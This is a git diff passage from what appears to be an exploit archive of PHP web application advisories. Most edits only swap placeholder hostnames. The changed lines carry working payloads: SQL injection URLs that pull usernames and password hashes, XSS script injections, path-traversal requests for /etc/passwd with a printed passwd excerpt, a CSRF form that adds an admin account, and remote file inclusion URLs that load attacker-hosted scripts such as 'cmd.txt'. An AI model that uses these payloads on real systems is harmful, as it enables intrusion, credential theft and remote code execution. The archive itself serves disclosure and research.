http://server/links/view.php?cid=[SQLi] -# http://server/links/pop.php?t=[SQLi] +# http://www.target.com/links/rate.php?id=[SQLi] +# http://www.target.com/links/view.php?cid=[SQLi] +# http://www.target.com/links/pop.php?t=[SQLi] # ############################################################################ # Special Thanks : Mehdi.H4ckcity-2MzRp-Mikili-M.Prince-Bl4ck.Viper-iC0d3R- diff --git a/platforms/php/webapps/18330.txt b/platforms/php/webapps/18330.txt index a7f036d4c..a66fdb29c 100755 --- a/platforms/php/webapps/18330.txt +++ b/platforms/php/webapps/18330.txt @@ -12,7 +12,7 @@ [paywithtweet id="1' AND 1=1"] 2) Multiple XSS in pay.php - http://server/wp-content/plugins/pay-with-tweet.php/pay.php + http://target.com/wp-content/plugins/pay-with-tweet.php/pay.php After connecting to twitter: ?link=&22></input>[XSS] diff --git a/platforms/php/webapps/18338.txt b/platforms/php/webapps/18338.txt index 0a56cc503..127fa9f7d 100755 --- a/platforms/php/webapps/18338.txt +++ b/platforms/php/webapps/18338.txt @@ -21,7 +21,7 @@ ~~~~~~~~~~~~~~~~ Exploit ~~~~~~~~~~~~~~~~~~~~~~~~ -# Http://[server]/path/page.php?id=[SQLi] +# Http://[site.com]/path/page.php?id=[SQLi] ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ diff --git a/platforms/php/webapps/1835.txt b/platforms/php/webapps/1835.txt index 7ac34f08b..a9551fbd1 100755 --- a/platforms/php/webapps/1835.txt +++ b/platforms/php/webapps/1835.txt @@ -17,7 +17,7 @@ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Expl: -http://www.server/[hot_path]/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=[evil_scripts] +http://www.site.com/[hot_path]/admin/lib_action_step.php?GLOBALS[CLASS_PATH]=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/18385.txt b/platforms/php/webapps/18385.txt index 2ad76d88b..83ad507ac 100755 --- a/platforms/php/webapps/18385.txt +++ b/platforms/php/webapps/18385.txt @@ -17,4 +17,4 @@ [+] Injectable http://[host]/[path]/gamebase/?action=detail&gameid=1+union+select+1,2,3,4,5,nick, - pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+dzcp_users+where+id=1--+ \ No newline at end of file + pwd,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+dzcp_users+where+id=1--+ \ No newline at end of file diff --git a/platforms/php/webapps/18386.txt b/platforms/php/webapps/18386.txt index ad043c03b..10f0accf0 100755 --- a/platforms/php/webapps/18386.txt +++ b/platforms/php/webapps/18386.txt @@ -25,4 +25,4 @@ http://[host]/[path]/movies/index.php?action=showkat&id=1+and+1=2--+ -[-] The SQL Injection Filter Function must be bypassed () \ No newline at end of file +[-] The SQL Injection Filter Function must be bypassed () \ No newline at end of file diff --git a/platforms/php/webapps/18410.txt b/platforms/php/webapps/18410.txt index 175812533..a1b75866d 100755 --- a/platforms/php/webapps/18410.txt +++ b/platforms/php/webapps/18410.txt @@ -74,4 +74,4 @@ $filename = "content/".$pagename.".txt"; <= .php%00 Don't Forget Referer : http://site/index.php?page=1 [ ! ] http://site/content/thnks-ahwak2000-cyber-crystal.php?cmd=uname-a # Thnks to all Stupid Coder - # The End \ No newline at end of file + # The End \ No newline at end of file diff --git a/platforms/php/webapps/18428.txt b/platforms/php/webapps/18428.txt index e152a5a40..77761f978 100755 --- a/platforms/php/webapps/18428.txt +++ b/platforms/php/webapps/18428.txt @@ -68,4 +68,4 @@ http://localhost/Dasher.php # [~](>D!R 4ll 0R D!E<) #; # -[~]--------------------------------------------------------------------------------------------- \ No newline at end of file +[~]--------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/platforms/php/webapps/1843.txt b/platforms/php/webapps/1843.txt index 2b86357f9..80b3e2d5a 100755 --- a/platforms/php/webapps/1843.txt +++ b/platforms/php/webapps/1843.txt @@ -7,11 +7,11 @@ Version 6.x GET -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=[FILE] EXAMPLE -> http://[site]/[ubbpath]/includepollresults.php?config[cookieprefix]=&w3t_language=../../../../../etc/passwd%00 GET -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=[FILE] -EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yourserver/cmd.txt? +EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=http://yoursite.com/cmd.txt? EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?GLOBALS[thispath]=/etc/passwd%00 If php version < 4.1.0 or UBB version <= 5.x GET -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=[FILE] -EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yourserver/cmd.txt? +EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=http://yoursite.com/cmd.txt? EXAMPLE -> http://[site]/[ubbpath]/ubbt.inc.php?thispath=/etc/passwd%00 XSS: GET -> http://[site]/[ubbpath]/index.php?debug=[XSS] diff --git a/platforms/php/webapps/1844.txt b/platforms/php/webapps/1844.txt index 5cb00235d..a62a3e76f 100755 --- a/platforms/php/webapps/1844.txt +++ b/platforms/php/webapps/1844.txt @@ -7,7 +7,7 @@ Succesful exploitation needs register_globals on GET -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=[FILE] EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=/etc/passwd%00 Requires magic_quotes_gpc off -EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yourserver/script.txt +EXAMPLE -> http://[victim]/[phpBB]/language/lang_english/lang_activity.php?phpbb_root_path=http://yoursite.com/script.txt Requires allow_url_fopen on # nukedx.com [2006-05-27] diff --git a/platforms/php/webapps/1846.txt b/platforms/php/webapps/1846.txt index bcd5dcb53..632354e25 100755 --- a/platforms/php/webapps/1846.txt +++ b/platforms/php/webapps/1846.txt @@ -4,7 +4,7 @@ This exploits works on Blend Portal <= 1.2.0 for phpBB 2.x Original advisory can be found at: http://www.nukedx.com/?viewdoc=41 Succesful exploitation needs register_globals on & allow url_fopen on GET -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=[FILE] -EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yourserver/cmd.txt? +EXAMPLE -> http://[victim]/[phpBB]/blend_data/blend_common.php?phpbb_root_path=http://yoursite.com/cmd.txt? # nukedx.com [2006-05-28] # milw0rm.com [2006-05-28] diff --git a/platforms/php/webapps/1848.txt b/platforms/php/webapps/1848.txt index 0485ff737..76c1823f7 100755 --- a/platforms/php/webapps/1848.txt +++ b/platforms/php/webapps/1848.txt @@ -11,17 +11,17 @@ # ################################################################## -http://www.server/[fastpublish_path]/drucken.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/drucken.php?config[fsBase]=[evil_scripts] -http://www.server/[fastpublish_path]/drucken2.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/drucken2.php?config[fsBase]=[evil_scripts] -http://www.server/[fastpublish_path]/email_an_benutzer.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/email_an_benutzer.php?config[fsBase]=[evil_scripts] -http://www.server/[fastpublish_path]/rechnung.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/rechnung.php?config[fsBase]=[evil_scripts] -http://www.server/[fastpublish_path]/suche/search.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/suche/search.php?config[fsBase]=[evil_scripts] -http://www.server/[fastpublish_path]/adminbereich/admin.php?config[fsBase]=[evil_scripts] +http://www.site.com/[fastpublish_path]/adminbereich/admin.php?config[fsBase]=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/18483.txt b/platforms/php/webapps/18483.txt index 333548f17..07c108ae7 100755 --- a/platforms/php/webapps/18483.txt +++ b/platforms/php/webapps/18483.txt @@ -1,4 +1,4 @@ - + ########################################################################################################################## # Exploit Title: Fork CMS v.3.2.4 - Multiple Vulnerabilities @@ -20,9 +20,9 @@ # POC: -# http://server/blog/settings?token=true&report=</script><script>alert(1)</script> +# http://site.com/blog/settings?token=true&report=</script><script>alert(1)</script> -# http://server/users/index?token=true&error=</script><script>alert(1)</script> +# http://site.com/users/index?token=true&error=</script><script>alert(1)</script> ########################################################################################################################### @@ -30,7 +30,7 @@ # POC: -# http://server/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en +# http://site.com/frontend/js.php?module=../../../../../../../../../../../../../../etc/passwd%00&file=frontend.js&language=en ########################################################################################################################## diff --git a/platforms/php/webapps/18495.html b/platforms/php/webapps/18495.html index 888b9263c..ee3096cea 100755 --- a/platforms/php/webapps/18495.html +++ b/platforms/php/webapps/18495.html @@ -17,7 +17,7 @@ KsA</font> (<font color="#FF0000">HK</font>)</font></b></p><center> <b><font face="Tahoma"><a href="http://www.r00t-s3c.com">www.r00t-s3c.com</a></font></b><br /><br /> -<form name="add" action="http://server/PATH/admincpanel/index.php?action=doadd" method="post"> +<form name="add" action="http://www.target.com/PATH/admincpanel/index.php?action=doadd" method="post"> <table width="90%" cellspacing="1" cellpadding="4"><tr><td ><p align="center"> UserName: <input size=20 type="text" name="name" value="HK" ></td></tr><tr><td ><p align="center"> PassWord: <input size=20 type="password" name="password" value="123456" ></td></tr><tr><td ><p align="center"> diff --git a/platforms/php/webapps/18497.txt b/platforms/php/webapps/18497.txt index 890ed1bc5..4ef71e2c8 100755 --- a/platforms/php/webapps/18497.txt +++ b/platforms/php/webapps/18497.txt @@ -13,7 +13,7 @@ ################################################################################# # p0c : # -# http://server/print.php?id=[SQL] +# http://target.com/print.php?id=[SQL] # # write the code in front of the print.php?id= and enter for show all admin # diff --git a/platforms/php/webapps/1851.txt b/platforms/php/webapps/1851.txt index 1e58cbf8c..8fbec21c3 100755 --- a/platforms/php/webapps/1851.txt +++ b/platforms/php/webapps/1851.txt @@ -2,6 +2,6 @@ # Script site: http://sourceforge.net/projects/gnopaste # made by SmokeZ (smoke.hes@gmail.com) -http://www.server/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt? +http://www.site.com/[gnopaste_path]/includes/common.php?root_path=SHELLCODE_URL.txt? # milw0rm.com [2006-05-30] diff --git a/platforms/php/webapps/18516.txt b/platforms/php/webapps/18516.txt index 2c2f8a4bd..50be792f5 100755 --- a/platforms/php/webapps/18516.txt +++ b/platforms/php/webapps/18516.txt @@ -1,4 +1,4 @@ - + diff --git a/platforms/php/webapps/18527.txt b/platforms/php/webapps/18527.txt index 687ca5398..b6a40917e 100755 --- a/platforms/php/webapps/18527.txt +++ b/platforms/php/webapps/18527.txt @@ -53,3 +53,4 @@ Contao 2.11 (and lower) is affected by CSRF Vulnerability which allows an attac </body> </html> +--------------------------------------------------------------------------------------------------------------------------------+ + \ No newline at end of file diff --git a/platforms/php/webapps/18536.txt b/platforms/php/webapps/18536.txt index 1e95de9d5..784fbf710 100755 --- a/platforms/php/webapps/18536.txt +++ b/platforms/php/webapps/18536.txt @@ -59,3 +59,4 @@ administrator account and how to modify an existing and published web pages. oth </body> </html> +--------------------------------------------------------------------------------------------------------------------------------+ + \ No newline at end of file diff --git a/platforms/php/webapps/1854.txt b/platforms/php/webapps/1854.txt index 615f478ac..d77c36e55 100755 --- a/platforms/php/webapps/1854.txt +++ b/platforms/php/webapps/1854.txt @@ -11,9 +11,9 @@ # ################################################################## -http://www.server/[Ottomanpath]/error.php?default_path=[evil_scripts] -http://www.server/[Ottomanpath]/index.php?default_path=[evil_scripts] -http://www.server/[Ottomanpath]/classes/main_class.php?default_path=[evil_scripts] +http://www.site.com/[Ottomanpath]/error.php?default_path=[evil_scripts] +http://www.site.com/[Ottomanpath]/index.php?default_path=[evil_scripts] +http://www.site.com/[Ottomanpath]/classes/main_class.php?default_path=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/18549.txt b/platforms/php/webapps/18549.txt index 514afa9d0..74f7c071d 100755 --- a/platforms/php/webapps/18549.txt +++ b/platforms/php/webapps/18549.txt @@ -10,7 +10,7 @@ Injection Vulnerability Exploited Link : -URL: http://vulnserver/path_to_pem/search.php? +URL: http://vulnsite.com/path_to_pem/search.php? POSTDATA: datasubmit=1&searchtype=events&s_event_names=on&s_event_descriptions=on&s_event_presenters=on&s_event_contacts=on&search_terms=' diff --git a/platforms/php/webapps/1855.txt b/platforms/php/webapps/1855.txt index 8e05623b2..9b98c2b65 100755 --- a/platforms/php/webapps/1855.txt +++ b/platforms/php/webapps/1855.txt @@ -12,83 +12,83 @@ ################################################################## expl: -http://www.server/[metajour_path]/app/edocument/edocument_basic_view_menu.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/edocument_document_model_create.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/edocument_document_view_list.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/edocument_edocform_view_listactive.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/edocument_edocform_view_listclosed.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/core/edocument_edoccorrectionclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/core/edocument_edocerrorcodeclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/core/edocument_edocformclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/edocument/core/edocument_edocresponsibleclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_basic_view_menu.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_layoutelement_view_init.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_project_model_create.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_project_view_combi.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_project_view_create.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_project_view_listactive.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_project_view_listclosed.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/eproject_projectelement_model_update.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/core/eproject_layoutclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/core/eproject_layoutelementclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/core/eproject_projectclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/eproject/core/eproject_projectelementclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_basic_view_menu.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_model_caseawait.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_model_caseclose.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_model_casedone.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_model_caseopen.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_model_create.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_combi.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_create.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_listactive.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_listawait.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_listclosed.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_listdone.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/erek_comp_view_search.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compcauseclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compcountryclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compdecisionclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compdepartmentclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compsolutionclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/app/erek/core/erek_compunitclass.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/basicextension.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/article/article.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/article/article.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/breadcrumb/breadcrumb.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/bulletinboard/bulletinboard.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/cform/cform.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/cform/cform.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/changepassword/changepassword.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/filelist/filelist.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/filelist/filelist.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/forgottenpassword/forgottenpassword.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/forum/forum.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/forum/forum.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/forum/forumdata.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/gallery/gallery.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/gallery/gallery.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/index/index.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/indexadv/indexadv.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listcomment/listcomment.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listing/listing.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listing/listing.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listing/listing_view_combidialog.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listlatestdoc/listlatestdoc.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/listpopulardoc/listpopulardoc.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/login/login.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/menu/menu.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/online/online.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/register/register.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/related/related.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/search/search.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/search/search.datatype.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/shop/shop.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/sitemap/sitemap.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/sitemap/sitemap.datatype.php?GLOBALS[system_path]=[evil_scripts] -http://www.server/[metajour_path]/extension/slide/slide.class.php?system_path=[evil_scripts] -http://www.server/[metajour_path]/extension/uptodate/uptodate.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/edocument_basic_view_menu.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/edocument_document_model_create.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/edocument_document_view_list.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/edocument_edocform_view_listactive.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/edocument_edocform_view_listclosed.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/core/edocument_edoccorrectionclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/core/edocument_edocerrorcodeclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/core/edocument_edocformclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/edocument/core/edocument_edocresponsibleclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_basic_view_menu.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_layoutelement_view_init.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_project_model_create.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_project_view_combi.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_project_view_create.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_project_view_listactive.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_project_view_listclosed.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/eproject_projectelement_model_update.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/core/eproject_layoutclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/core/eproject_layoutelementclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/core/eproject_projectclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/eproject/core/eproject_projectelementclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_basic_view_menu.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_model_caseawait.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_model_caseclose.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_model_casedone.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_model_caseopen.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_model_create.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_combi.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_create.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_listactive.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_listawait.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_listclosed.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_listdone.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/erek_comp_view_search.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compcauseclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compcountryclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compdecisionclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compdepartmentclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compsolutionclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/app/erek/core/erek_compunitclass.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/basicextension.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/article/article.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/article/article.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/breadcrumb/breadcrumb.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/bulletinboard/bulletinboard.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/cform/cform.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/cform/cform.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/changepassword/changepassword.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/filelist/filelist.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/filelist/filelist.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/forgottenpassword/forgottenpassword.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/forum/forum.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/forum/forum.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/forum/forumdata.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/gallery/gallery.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/gallery/gallery.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/index/index.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/indexadv/indexadv.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listcomment/listcomment.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listing/listing.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listing/listing.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listing/listing_view_combidialog.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listlatestdoc/listlatestdoc.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/listpopulardoc/listpopulardoc.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/login/login.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/menu/menu.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/online/online.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/register/register.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/related/related.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/search/search.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/search/search.datatype.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/shop/shop.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/sitemap/sitemap.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/sitemap/sitemap.datatype.php?GLOBALS[system_path]=[evil_scripts] +http://www.site.com/[metajour_path]/extension/slide/slide.class.php?system_path=[evil_scripts] +http://www.site.com/[metajour_path]/extension/uptodate/uptodate.class.php?system_path=[evil_scripts] #Elo ;-) diff --git a/platforms/php/webapps/18563.txt b/platforms/php/webapps/18563.txt index 9652d2fb7..cb29b456d 100755 --- a/platforms/php/webapps/18563.txt +++ b/platforms/php/webapps/18563.txt @@ -1,4 +1,4 @@ - + diff --git a/platforms/php/webapps/18575.txt b/platforms/php/webapps/18575.txt index d633db21b..baf4c5342 100755 --- a/platforms/php/webapps/18575.txt +++ b/platforms/php/webapps/18575.txt @@ -34,3 +34,4 @@ and unpublished. In this POC I've deleted web page with ID=2 +------------------------------------------------------------------------------------------------------------------------------------+ + \ No newline at end of file diff --git a/platforms/php/webapps/1858.txt b/platforms/php/webapps/1858.txt index d912d6fcd..21423812e 100755 --- a/platforms/php/webapps/1858.txt +++ b/platforms/php/webapps/1858.txt @@ -12,10 +12,10 @@ ################################################################## -http://www.server/[ACID_path]/admin/menu.php?root_path=[evil_scripts] -http://www.server/[ACID_path]/admin/profile.php?root_path=[evil_scripts] -http://www.server/[ACID_path]/admin/users.php?root_path=[evil_scripts] -http://www.server/[ACID_path]/includes/cache_mngt.php?root_path=[evil_scripts] -http://www.server/[ACID_path]/includes/gallery_functions.php?root_path=[evil_scripts] +http://www.site.com/[ACID_path]/admin/menu.php?root_path=[evil_scripts] +http://www.site.com/[ACID_path]/admin/profile.php?root_path=[evil_scripts] +http://www.site.com/[ACID_path]/admin/users.php?root_path=[evil_scripts] +http://www.site.com/[ACID_path]/includes/cache_mngt.php?root_path=[evil_scripts] +http://www.site.com/[ACID_path]/includes/gallery_functions.php?root_path=[evil_scripts] # milw0rm.com [2006-06-01] diff --git a/platforms/php/webapps/18583.txt b/platforms/php/webapps/18583.txt index 7b53ae9c6..3c95a76db 100755 --- a/platforms/php/webapps/18583.txt +++ b/platforms/php/webapps/18583.txt @@ -17,7 +17,7 @@ just "../" filtered to prevent LFI but "....//" will work [~] poc: -http://www.server/index.php?module=cdk&func=loadmodule&system=cdk&sismodule=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd +http://www.site.com/index.php?module=cdk&func=loadmodule&system=cdk&sismodule=....//....//....//....//....//....//....//....//....//....//....//....//....//etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin diff --git a/platforms/php/webapps/18598.txt b/platforms/php/webapps/18598.txt index dead9d27f..c7c4a67d0 100755 --- a/platforms/php/webapps/18598.txt +++ b/platforms/php/webapps/18598.txt @@ -24,4 +24,4 @@ http://localhost/software/encapsgallery/templates/Shopcart/shopcart.php?action=a - \ No newline at end of file + \ No newline at end of file diff --git a/platforms/php/webapps/1863.txt b/platforms/php/webapps/1863.txt index 35308977b..25317c151 100755 --- a/platforms/php/webapps/1863.txt +++ b/platforms/php/webapps/1863.txt @@ -14,7 +14,7 @@ ################################################################## Expl: -http://www.server/[Igloo_path]/class/Wiki/Wiki.php?c_node[class_path]=[evil_scripts] 